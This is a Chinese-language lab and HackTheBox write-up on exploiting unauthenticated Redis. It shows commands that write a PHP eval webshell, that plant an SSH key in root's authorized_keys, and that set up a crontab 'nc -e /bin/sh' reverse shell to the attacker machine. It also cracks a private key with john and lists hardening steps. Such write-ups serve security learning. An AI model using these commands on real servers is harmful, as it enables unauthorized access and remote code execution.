从安装Redis练习常规姿势 到HTB实战 postman userflag

实验环境
centOS:192.168.49.16
Kali:192.168.49.129

安装

安装过程参考https://blog.csdn.net/buyueliuying/article/details/82316517

centOS7:

wget http://download.redis.io/releases/redis-4.0.11.tar.gz
tar -xavf redis-4.0.11.tar.gz
cd redis-4.0.11/
make PREFIX=/usr/local/redis install
make test

从安装Redis练习常规姿势 到HTB实战 postman userflag_第1张图片
从安装Redis练习常规姿势 到HTB实战 postman userflag_第2张图片
说明安装没有问题
把redis.conf复制到.usr/local/redis下面去

cp /redis-4.0.11/redis.conf /usr/local/redis
cd /usr/local/redis
修改一些配置 
vim redis.conf
daemonize yes //后台方式启动
#bind 127.0.0.1 //这一行一定要注释掉 否则只允许本地访问
protected-mode no //关闭保护模式可以通过ip访问
保存退出
cd bin/
./redis-server ../redis.conf
运行启动

在这里插入图片描述
然后本地运行客户端

./redis-cli 

从安装Redis练习常规姿势 到HTB实战 postman userflag_第3张图片
Kali:
然后我们在kali机上也装上redis
然后启动客户端
./redis-cli –h192.168.49.16 -p 6379
在这里插入图片描述
nc也是可以的
从安装Redis练习常规姿势 到HTB实战 postman userflag_第4张图片
到这 redis已经安装完成了

2020.8.24更新

对redis的利用实际上都是写权限的利用,但是利用redis写文件的时候,会出现很多无关数据导致文件无法正常读取,getshell失败,如下crontab_getshell就失败了。
推荐使用RedisWriteFile,可以简化写文件的操作,而且文件无损。
https://github.com/r35tart/RedisWriteFile

通过crontab反弹shell
kali上操作
在这里插入图片描述
在这里插入图片描述
从安装Redis练习常规姿势 到HTB实战 postman userflag_第5张图片
从安装Redis练习常规姿势 到HTB实战 postman userflag_第6张图片
Centos查看
从安装Redis练习常规姿势 到HTB实战 postman userflag_第7张图片
以下为原答案

常规姿势

当redis没有设置密码或者弱密码,有三种常规姿势获取shell

redis写一个webshell

flushall  //清空数据库
set 1 ‘<?php eval($_GET["123"]);?>’  //一句话写入数据库
config set dir /var/www/html  //数据库文件保存在web目录下
config set dbfilename shell.php  //数据库文件命名为.php
save

从安装Redis练习常规姿势 到HTB实战 postman userflag_第8张图片
去centOS下查看,发现这段php已经嵌入了从安装Redis练习常规姿势 到HTB实战 postman userflag_第9张图片
然后去访问发现,php已经被解析了
在这里插入图片描述
redis写rsa秘钥

首先自己本地生成一个空密码的rsa秘钥对

ssh-keygen -t rsa

从安装Redis练习常规姿势 到HTB实战 postman userflag_第10张图片

然后把公钥输入到redis的数据库里
(echo -e "\n\n" ;cat id_rsa.pub;echo -e "\n\n" )>temp.txt
cat temp.txt |/usr/local/redis/bin/redis-cli -h 192.168.49.16 -x set rsa  

在这里插入图片描述

然后再登陆上redis修改存储redis的存储位置
./redis-cli -h 192.168.49.16 -p 6379
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

从安装Redis练习常规姿势 到HTB实战 postman userflag_第11张图片
这个时候就可以直接连接ssh了

ssh 192.168.49.16

从安装Redis练习常规姿势 到HTB实战 postman userflag_第12张图片
通过crontab反弹shell(测试失败)
crontab是linux上的自动执行任务
通过修改crontab可以执行系统命令

set 1 '\n\n*/1 * * * * nc -e /bin/sh 192.168.49.129 9001\n\n' 
config set dir /var/spool/cron/
config set dbfilename root
save

从安装Redis练习常规姿势 到HTB实战 postman userflag_第13张图片
但是在另一边shell迟迟没有弹过来
后来我去看了crontab的日志
在这里插入图片描述
意思是格式错误
在这里插入图片描述
这是我通过redis插进去的payload,无关数据太多,crontab无法执行 复现失败
但是我看到上网师傅们的博客有复现成功的,哪里出了问题还请多多指点

防护加固手段
1.修改conf文件,禁止使用高危命令
2.修改conf文件,重命名高危命令
3.以低权限运行redis(root权限运行风险太大)
4.登录redis设置验证密码
5.禁止外网访问(设置conf文件里的bind)
6. authorized_keys设置为400,加chattr ,.ssh/文件夹也加chattr

RCE复现

可以利用msf中现有的RCE漏洞攻击模块
从安装Redis练习常规姿势 到HTB实战 postman userflag_第14张图片
从安装Redis练习常规姿势 到HTB实战 postman userflag_第15张图片
从安装Redis练习常规姿势 到HTB实战 postman userflag_第16张图片
如果是以root权限启动的redis那获取的直接是root权限
从安装Redis练习常规姿势 到HTB实战 postman userflag_第17张图片

HTB postman实战

在postman10.10.10.160这台机器中,
通过nmap已经扫描到了6379 redis端口,尝试提权
在这里插入图片描述
看到是4.X版本,本以为一个RCE就结束了,但是多次尝试均失败
然后用客户端连接 空口令直接连上了
这里用到了修改ssh秘钥

先查看一下dir 和 dbfilename
从安装Redis练习常规姿势 到HTB实战 postman userflag_第18张图片
dir已经是.ssh目录了,dbfilename还需要改一下
在这里插入图片描述
然后把我们已经生成好的秘钥输入进去,然后save
在这里插入图片描述
然后就可以连上了
从安装Redis练习常规姿势 到HTB实战 postman userflag_第19张图片
redis没有权限进入Matt目录
尝试提权
在.bash_history里发现了一个私钥的备份
从安装Redis练习常规姿势 到HTB实战 postman userflag_第20张图片
我们尝试用ssh直接连接Matt,但是连接失败
但是有了私钥可以直接破解密码

python3 /usr/share/john/ssh2john.py id_rsa.bak >Matt.txt
john --wordlist=Wordlist/rockyou.txt Matt.txt

从安装Redis练习常规姿势 到HTB实战 postman userflag_第21张图片
成功爆破出Matt的密码
然后登陆 拿到userflag
从安装Redis练习常规姿势 到HTB实战 postman userflag_第22张图片
欢迎师傅们指点

你可能感兴趣的:(从安装Redis练习常规姿势 到HTB实战 postman userflag)